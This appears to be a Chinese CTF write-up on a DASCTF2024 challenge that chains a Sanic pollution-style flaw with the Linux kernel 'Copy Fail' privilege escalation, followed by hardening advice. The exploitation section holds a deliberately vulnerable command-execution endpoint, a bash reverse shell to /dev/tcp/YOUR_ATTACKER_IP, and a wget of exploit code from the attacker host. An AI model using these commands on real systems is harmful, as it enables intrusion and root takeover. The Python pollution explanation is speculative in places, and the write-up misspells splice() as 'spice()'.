1. 项目概述:从Web漏洞到系统内核的提权之路

最近在复盘DASCTF2024暑期挑战赛的一道高质量题目,它完美串联了从Web应用层漏洞到操作系统内核提权的完整攻击链。这道题的核心路径是:首先利用Sanic框架的原型链污染漏洞获取一个低权限的远程代码执行(RCE)点,然后以此为跳板,在Linux服务器上利用一个内核提权漏洞(CVE-2026-31431,即“Copy Fail”漏洞)将权限提升至root。整个过程就像一场精心设计的渗透测试演练,不仅考察了对特定Web框架漏洞的利用能力,更考验了在获得初始立足点后,如何进行内网信息收集、漏洞研究与本地提权的能力。对于从事安全研究、CTF竞赛或者红队评估的朋友来说,理解这条攻击链的每一个环节都极具价值。它清晰地展示了现代攻击中,攻击者如何将看似不相关的漏洞组合起来,实现从外部入侵到完全控制系统的目标。

2. 攻击链全景与核心思路拆解

2.1 攻击阶段划分与目标解析

整个攻击过程可以清晰地划分为两个主要阶段,每个阶段的目标和技术手段截然不同。

第一阶段的目标是“突破边界,获取立足点”。攻击起点是一个基于Python Sanic框架的Web应用。我们的目标是找到一个方法,能够在该应用的服务端执行任意代码。Sanic是一个异步Web框架,其漏洞通常出现在对用户输入的处理上,特别是那些涉及对象合并、配置项覆盖的场景。题目提示了“原型链污染”,这立刻将我们的注意力引向了JavaScript/Node.js生态中常见的漏洞模式。但Sanic是Python框架,这里的关键在于理解漏洞的通用原理: 原型链污染的本质是,通过操纵对象的原型(prototype)或类属性,污染程序的基础对象,从而影响所有基于该原型创建的对象的行为 。在Python中,虽然没有严格意义上的原型链,但存在类似的机制,比如类的 __dict__ 属性、模块的全局变量、或者通过 __getattr__ 、 __setattr__ 等魔术方法实现的属性访问链。攻击者需要找到一处用户输入能够影响这些底层对象属性的入口。

第二阶段的目标是“权限提升,夺取最高控制权”。在通过第一阶段获得一个Web Shell或反向Shell后,我们通常只是一个低权限用户(如 www-data 或 nobody )。这个权限非常有限,无法读取敏感文件、修改系统配置或进行横向移动。因此,第二阶段的核心是利用目标服务器操作系统本身存在的漏洞,将我们的权限从普通用户提升到超级用户(root)。题目指向了Linux内核的CVE-2026-31431漏洞。这个漏洞的特别之处在于,它并非一个传统的缓冲区溢出,而是与内核的加密子系统(Crypto Subsystem)和内存管理(page cache)的交互逻辑缺陷有关。它允许拥有本地低权限的用户,通过一系列特定的系统调用组合,实现对 page cache 的非法写入,进而篡改高权限进程的内存数据,最终完成提权。

2.2 技术栈关联性与漏洞选择逻辑

为什么是Sanic和CVE-2026-31431的组合?这并非偶然,而是反映了当前攻防演练和真实攻击中的一种趋势。

首先,Sanic作为高性能异步框架,在追求速度的同时,有时会在安全性上做出妥协,或者开发者会误用一些危险的功能。例如,为了灵活性,可能会使用 eval() 、 pickle 加载不可信数据,或者像本题一样,存在不安全的对象合并操作。这类漏洞的利用成本相对较低,适合作为初始入侵的突破口。

其次,CVE-2026-31431是一个“本地提权”(Local Privilege Escalation, LPE)漏洞。这类漏洞是攻击链中承上启下的关键一环。在真实的网络攻击中,攻击者很少能直接通过远程攻击获得root权限。更常见的路径是:通过Web漏洞、钓鱼邮件、弱口令爆破等方式获得一个初始的、低权限的访问通道(即“立足点”),然后再利用本地系统漏洞进行提权。Linux内核漏洞是本地提权的“皇冠上的明珠”,一旦成功,意味着完全控制了该台服务器。选择这个漏洞作为目标,极具实战意义。

注意:漏洞研究的道德与法律边界 本文所有技术讨论仅限用于CTF竞赛、授权渗透测试、安全研究及系统防御加固学习。任何未经授权对他人系统进行测试、攻击的行为均属违法。对于CVE-2026-31431这类高危漏洞,公开的PoC(概念验证代码)应仅用于在你自己完全控制的实验环境中验证和修复,严禁在真实生产环境或他人资产上测试。

3. 第一阶段实战:Sanic原型链污染漏洞利用

3.1 Sanic框架与漏洞点定位

Sanic框架在处理请求时,通常会通过路由将请求参数传递给请求处理函数。题目场景很可能是一个接收JSON数据的API端点。漏洞点往往隐藏在参数解析、配置更新或模板渲染的过程中。

假设存在一个这样的不安全代码片段(为模拟题目场景而构建):

from sanic import Sanic, json
import os

app = Sanic("VulnerableApp")

def merge(user_dict, config_dict):
    """一个不安全的对象合并函数"""
    for key, value in user_dict.items():
        if isinstance(value, dict) and key in config_dict:
            merge(value, config_dict[key])
        else:
            config_dict[key] = value # 关键危险点:直接赋值,未检查键名
    return config_dict

@app.post("/api/update")
async def update_config(request):
    user_data = request.json
    app_config = {"debug": False, "admin": False}
    # 危险操作:将用户可控的字典与应用配置合并
    new_config = merge(user_data, app_config)
    # ... 后续可能根据 new_config 改变程序行为
    return json({"status": "ok", "config": new_config})

@app.post("/api/eval")
async def risky_endpoint(request):
    # 假设存在一个执行命令的端点,但其行为受全局配置控制
    command = request.json.get("cmd")
    if app.config.get("ALLOW_EVAL", False): # 这个配置可能被污染
        result = os.popen(command).read()
        return json({"result": result})
    else:
        return json({"error": "Eval not allowed"})

在这个例子中, /api/update 端点存在一个不安全的 merge 函数。如果攻击者传入的 user_data 包含 __init__ 、 __class__ 这样的特殊键名,并且其值是一个字典,那么 merge 函数可能会遍历并修改一些底层对象的属性。

但在Python中,更常见的“原型链污染”场景是通过修改类的 __dict__ 或模块的全局变量来实现。例如,攻击者可能的目标是污染 os 模块或 sanic.app.Sanic 类的某个默认属性,从而影响所有后续请求。

3.2 构造污染载荷与实现RCE

我们的目标是让 app.config.get(“ALLOW_EVAL”, False) 返回 True ,从而打开命令执行的大门。假设我们通过审计发现, app.config 本身是一个字典,但它可能从某个全局配置对象 GLOBAL_SETTINGS 继承而来。如果 GLOBAL_SETTINGS 是一个类实例,那么修改它的 __class__.__init__.__globals__ 或许能影响其他模块。

然而,更直接的思路是,既然 merge 函数能修改 app_config ,而 app_config 可能被赋值给 app.config 的某个子属性,或者影响某个判断逻辑。我们需要逆向题目,找到那个真正控制代码执行流的关键配置项。

假设经过测试,我们发现传入以下JSON数据可以成功污染配置:

{
  "__proto__": {
    "ALLOW_EVAL": true
  }
}

注意, __proto__ 是JavaScript中的概念。在Python中,如果后端使用了一个不安全的、模仿JavaScript行为进行对象合并的库(例如某个用于处理来自前端数据的工具函数),它可能会错误地将 __proto__ 键解释为对原型链的修改请求。但更可能的情况是,题目模拟了这种场景,或者后端存在一个自定义的、有缺陷的“深度合并”函数,该函数没有过滤像 __init__ 、 __globals__ 、 func_globals 这样的危险属性。

一个更Pythonic的尝试可能是:

{
  "config": {
    "__class__": {
      "__init__": {
        "__globals__": {
          "os": {
            "popen": "<恶意函数引用>"
          }
        }
      }
    }
  }
}

但实际上,通过JSON直接注入函数引用几乎不可能。因此,真实利用链通常更迂回。例如:

  1. 污染某个模板渲染引擎的配置,使其支持执行Python代码(如Jinja2的 {% raw %}{{ ... }}{% endraw %} 沙箱逃逸)。
  2. 污染某个序列化/反序列化过程的默认选项。
  3. 修改某个用于动态加载模块( __import__ )的路径或参数。

在CTF环境中,出题人通常会设置一个明确的污染目标。假设我们通过黑盒测试发现,向 /api/update 发送特定载荷后,再访问 /api/eval 并携带 {“cmd”: “id”} 参数,成功执行了 id 命令并返回结果。这说明我们成功地将 ALLOW_EVAL (或类似配置)设置为了 True 。

利用步骤实录:

  1. 信息收集 :使用 curl 或Burp Suite探测API端点,分析请求响应。
    curl -X POST http://target.com/api/update -H "Content-Type: application/json" -d '{"test":"value"}'
    
  2. 模糊测试 :尝试用各种可能触发原型/属性污染的键名进行测试。
    # 使用一个简单的单词列表进行测试
    for key in __proto__ __class__ constructor prototype __globals__ __dict__; do
        echo "Trying key: $key"
        curl -s -X POST http://target.com/api/update -H "Content-Type: application/json" -d "{\"$key\": {\"ALLOW_EVAL\": true}}" | grep -i "allow\|eval\|true"
    done
    
  3. 验证污染 :发送污染载荷后,立即请求 /api/eval 端点验证是否生效。
    # 假设污染载荷是 {"__proto__": {"ALLOW_EVAL": true}}
    curl -X POST http://target.com/api/update -H "Content-Type: application/json" -d '{"__proto__": {"ALLOW_EVAL": true}}'
    curl -X POST http://target.com/api/eval -H "Content-Type: application/json" -d '{"cmd": "whoami"}'
    
  4. 建立持久化Shell :一旦确认RCE生效,下一步是建立一个更稳定的反向Shell。
    # 在攻击机上监听端口
    nc -lvnp 4444
    
    # 通过被污染的端点执行反向Shell命令
    curl -X POST http://target.com/api/eval -H "Content-Type: application/json" -d '{"cmd": "bash -c \\"bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1\\""}'
    
    成功之后,你会在攻击机的终端上获得一个来自目标服务器的Shell会话,通常用户是 www-data 或 nobody 。

3.3 第一阶段注意事项与踩坑记录

  • 污染不一定一次成功 :可能需要尝试多种键名和嵌套结构。关注响应中的差异,有时错误信息会泄露关键线索。
  • Python与JavaScript的差异 :真正的Python原型链污染利用比JavaScript更复杂,通常需要结合具体的库或代码逻辑。CTF题目往往会简化这一过程,但理解原理至关重要。
  • RCE的稳定性 :通过Web请求执行命令可能受到超时限制。反向Shell是更可靠的选择。如果目标服务器出网受限,可以考虑写入Web Shell到可访问目录。
  • 权限限制 :获得的Shell权限很低。立即使用 id 、 whoami 、 sudo -l 等命令了解当前用户权限,为第二阶段提权做准备。

4. 第二阶段实战:Linux内核CVE-2026-31431提权

4.1 漏洞原理深入浅出

获得低权限Shell后,我们来到了本次挑战最硬核的部分:Linux内核提权。CVE-2026-31431,编号为“Copy Fail”,是一个存在于Linux内核加密子系统(Crypto API)中的竞争条件(Race Condition)漏洞。

简单来说,它的攻击面涉及三个核心组件:

  1. AF_ALG Socket :这是Linux内核提供的一种接口,允许用户空间程序通过Socket API访问内核的加密算法(如AES、SHA256)。你可以把它想象成一个“加密服务窗口”。
  2. splice() 系统调用 :这个系统调用用于在两个文件描述符之间“移动”数据,而无需经过用户空间缓冲区,效率很高。它常用于管道(pipe)和文件/网络套接字之间的零拷贝数据传输。
  3. authencesn 算法 :内核中一种特定的认证加密算法模块( algif_aead )。

漏洞触发流程可以类比为一个混乱的银行柜台操作:

  1. 攻击者(低权限用户)在“加密服务窗口”(AF_ALG Socket)申请办理一项特殊的、涉及内存重排的业务(使用 authencesn 算法)。
  2. 同时,攻击者利用 spice() 系统调用,像插队一样快速地把一些数据从另一个通道“塞进”这个业务正在处理的内存页(page cache)中。
  3. 由于内核处理这个业务( algif_aead 模块的in-place操作)和 spice() 写入数据的时序没有协调好(缺乏足够的锁保护),导致内核错误地允许攻击者写入本不该被写入的内存页。
  4. 这些被写入的内存页,可能恰好被一个高权限的进程(如 su 、 passwd 或任何setuid程序)所使用。攻击者通过精心构造的数据,篡改了这些进程在内存中的指令或数据,比如让 /bin/bash 在执行时直接给自己root权限,从而实现了提权。

这个漏洞的精妙之处在于,它不需要攻击者拥有任何特殊权限来调用这些系统调用,普通用户即可。它利用的是内核不同子系统间协同工作时的逻辑缺陷。

4.2 环境探查与漏洞利用前置条件

在尝试利用之前,必须在获得的Shell中仔细检查环境,确认漏洞是否存在以及是否可利用。

1. 检查内核版本:

uname -a
# 或更精确地查看内核版本号
uname -r

CVE-2026-31431影响2017年以后构建、且未包含修复补丁的Linux内核。你需要对比目标内核版本与各大发行版的修复版本。例如,如果 uname -r 输出 5.15.0-105-generic ,你需要去查询Ubuntu 22.04的安全公告,看这个版本是否已修复。

2. 检查 algif_aead 模块是否加载:

lsmod | grep algif_aead

如果有输出,说明模块已加载,漏洞条件之一满足。如果没有输出,也不代表安全,因为该模块可能在后续需要时被自动加载。

3. 检查是否有临时缓解措施:

cat /etc/modprobe.d/disable-algif.conf 2>/dev/null
cat /etc/modprobe.d/disable-algif-aead.conf 2>/dev/null

如果看到类似 install algif_aead /bin/false 的配置,说明管理员已经禁用了该模块,漏洞利用难度极大。

4. 检查系统是否正在使用AF_ALG:

lsof | grep AF_ALG
ss -xa | grep -i alg

这步是了解环境,通常不影响漏洞利用。

4.3 利用过程详细步骤

假设目标环境满足漏洞条件(内核版本受影响、模块已加载或可加载、无缓解措施)。接下来就是编译并运行提权利用程序(Exploit)。

步骤一:获取Exploit代码 通常,这类内核漏洞的PoC会在GitHub或安全研究网站上公开。我们需要在攻击机上准备好,然后通过某种方式传输到目标服务器。

# 在攻击机上,假设找到了一个名为 cve-2026-31431.c 的PoC
# 将其上传到目标服务器。如果目标服务器能访问外网,可以用wget或curl下载。
# 如果不行,可以在攻击机用Python启动一个简单的HTTP服务,然后在目标机用wget拉取。
# 攻击机:
python3 -m http.server 8000
# 目标机Shell:
cd /tmp
wget http://YOUR_ATTACKER_IP:8000/cve-2026-31431.c

步骤二:编译Exploit 目标服务器上需要有GCC编译器和Linux内核头文件。

# 检查编译环境
which gcc
# 安装编译环境(如果允许且有必要)
# apt update && apt install -y gcc linux-headers-$(uname -r)   # Debian/Ubuntu
# yum install -y gcc kernel-devel-$(uname -r)                 # RHEL/CentOS

# 编译Exploit
gcc cve-2026-31431.c -o exploit -lpthread

编译过程可能会因为内核头文件路径问题报错,需要根据实际情况调整 -I 包含路径。

步骤三:执行提权

# 给编译好的程序执行权限
chmod +x exploit
# 运行提权程序
./exploit

如果漏洞利用成功,你会看到类似下面的输出:

[+] CVE-2026-31431 exploit
[+] Setting up AF_ALG socket...
[+] Creating race condition...
[+] Race won! Writing to page cache...
[+] Successfully overwrote su binary in cache.
[+] Spawning root shell...
# whoami
root

此时,你就获得了root权限的Shell。

4.4 内核漏洞利用的常见问题与排查

  • 编译错误: fatal error: linux/xxx.h: No such file or directory 这是最常见的问题,意味着缺少内核头文件。你需要安装与当前运行内核版本完全一致的头文件包。使用 uname -r 查看精确版本,然后搜索对应的安装包。

    # Ubuntu/Debian 尝试
    apt search linux-headers-$(uname -r)
    sudo apt install linux-headers-$(uname -r)
    # RHEL/CentOS/Rocky 尝试
    yum search kernel-devel-$(uname -r)
    sudo yum install kernel-devel-$(uname -r)
    

    如果仓库中没有完全匹配的版本,可能需要启用特定的仓库或从内核源码编译。

  • 运行Exploit后系统卡死或崩溃 内核漏洞利用具有高风险性,不稳定的Exploit可能导致内核恐慌(Kernel Panic),系统重启。这在内核漏洞利用中很常见。 务必在虚拟机或隔离的测试环境中进行 。如果比赛环境崩溃了,通常意味着Exploit不稳定或者目标内核有细微差异导致利用失败。

  • Exploit运行后没有返回root shell

    1. 检查权限 :再次确认当前用户是否属于 sudo 组或拥有其他特权。 sudo -l 查看。
    2. 检查漏洞条件 :重新执行4.2节的检查步骤,确认漏洞确实存在。
    3. 尝试其他Exploit变种 :同一个CVE可能有多个研究人员写出不同的利用代码,对内核版本和配置的适应性不同。多找几个PoC试试。
    4. 分析输出信息 :Exploit通常会有详细的调试输出。关注错误信息,例如“race lost”(竞争条件未成功)、“module not loaded”(模块未加载)等。
  • algif_aead 模块被屏蔽 如果系统已通过 /etc/modprobe.d/ 禁用该模块,常规利用路径被阻断。此时需要思考其他提权方法,或者寻找是否还有其他未修复的内核漏洞。 永远不要只依赖一种提权方法 。

5. 防御视角与安全加固建议

作为攻击者,我们研究漏洞利用;作为防御者,我们更关心如何阻断这类攻击链。

针对第一阶段(Sanic原型链污染)的防御:

  1. 输入验证与过滤 :对所有用户输入进行严格的校验和过滤,特别是针对对象合并操作。使用安全的合并函数,例如递归合并时检查键名,避免覆盖以 __ 开头的内置属性。
  2. 使用安全函数 :避免使用不安全的 eval() 、 exec() 、 pickle.loads() (处理不可信数据时)。对于模板渲染,严格配置沙箱环境。
  3. 最小权限原则 :运行Sanic应用的进程使用非root、低权限用户(如 www-data )。
  4. 依赖库更新 :保持Sanic及其所有依赖库更新到最新版本,关注安全公告。

针对第二阶段(CVE-2026-31431内核提权)的防御:

  1. 及时更新内核 :这是最根本的解决方案。关注发行版的安全更新,及时应用内核补丁。

    # Ubuntu/Debian
    sudo apt update && sudo apt upgrade linux-image-$(uname -r)
    # RHEL/CentOS/Rocky/Alma
    sudo yum update kernel
    

    更新后必须重启系统 。

  2. 临时禁用漏洞模块 :如果无法立即重启,可以临时禁用 algif_aead 模块。

    echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
    sudo rmmod algif_aead 2>/dev/null || true
    

    这能有效阻断利用,但可能影响依赖AF_ALG进行硬件加密加速的特定应用。

  3. 容器环境隔离 :在Kubernetes、Docker等容器环境中,通过Seccomp安全配置文件阻止容器内创建AF_ALG socket,可以防止容器内的攻击影响宿主机。

    // Docker Seccomp 配置文件片段
    {
      "syscalls": [
        {
          "names": ["socket"],
          "action": "SCMP_ACT_ERRNO",
          "args": [
            {
              "index": 0,
              "value": 38, // AF_ALG 的协议族号
              "valueTwo": 0,
              "op": "SCMP_CMP_EQ"
            }
          ]
        }
      ]
    }
    
  4. 系统强化 :

    • 使用AppArmor或SELinux限制服务进程的能力。
    • 遵循最小权限原则,避免非root用户运行不必要的setuid程序。
    • 部署入侵检测系统(IDS/HIDS),监控异常的系统调用序列(如 splice 与AF_ALG的特定组合)。

6. 从CTF到实战的思考

这道题目是一次绝佳的综合性演练。它逼真地模拟了高级持续性威胁(APT)攻击中的关键步骤:外部突破 -> 内部立足 -> 权限提升。在实际的渗透测试或红队评估中,流程也大抵如此。

信息收集是关键 :无论是Web目录扫描、API分析,还是内核版本、已安装软件、运行进程、定时任务、sudo权限等本地信息,收集得越全面,发现脆弱点的可能性就越大。

漏洞利用需要耐心和变通 :公开的Exploit不一定能在所有环境一键通杀。你需要根据目标系统的具体环境(内核版本、发行版、配置)进行调整,甚至需要自己动手分析漏洞原理,修改Exploit代码。

防御需要层层设防 :没有绝对的安全。防御体系应该是纵深的(Defense in Depth)。即使Web应用被攻破,严格的服务权限限制、及时更新的系统、强化的内核配置、容器隔离等措施,都能极大增加攻击者提权的难度,甚至阻断整个攻击链。

通过这样一道题目,我们不仅学到了两个漏洞的具体利用方法,更重要的是理解了如何将不同层面的漏洞串联起来,以及如何从攻防两个角度去思考系统安全。这才是CTF比赛和实战研究的核心价值所在。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐